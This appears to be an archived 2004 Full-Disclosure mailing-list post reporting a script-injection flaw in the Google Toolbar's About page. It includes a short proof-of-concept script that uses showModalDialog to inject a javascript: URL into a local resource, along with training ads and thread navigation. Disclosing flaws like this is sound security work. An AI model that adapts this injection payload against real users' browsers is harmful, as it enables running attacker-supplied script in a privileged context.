Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | GoogleToolbar:About -- Allows Script Injection |
|---|---|
| Date: | Fri, 17 Sep 2004 09:51:10 +0100 (BST) |
Affection Software : GoogleToolbar
Version : Tested on 2.0.114.1-big/en (GGLD)
Notes:
GoogleToolbar's About section allows injection of
script, since it lacks any checking. The following
code is a Proof Of Concept.
<s c r i p t>
window.showModalDialog("res://C:\\Program%20Files\\Google\\GoogleToolbar1.dll/ABOUT.HTML",
"<div style=\"background-image:
url(javascript:alert(location.href));\">");
</s c r i p t>
rgds,
Gregory R. Panakkal / Viper
________________________________________________________________________
Yahoo! India Matrimony: Find your life partner online
Go to: http://yahoo.shaadi.com/india-matrimony
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [Full-Disclosure] Debian netkit telnetd vulnerability, Michal Zalewski |
|---|---|
| Next by Date: | Microsoft WordPerfect 5.x Converter Heap Overflow, NGSSoftware Insight Security Research Advisory |
| Previous by Thread: | [Full-Disclosure] Debian netkit telnetd vulnerability, Michal Zalewski |
| Next by Thread: | [Full-Disclosure] Re: GoogleToolbar:About -- Allows Script Injection, Rafel Ivgi, The-Insider |
| Indexes: | [Date] [Thread] [Top] [All Lists] |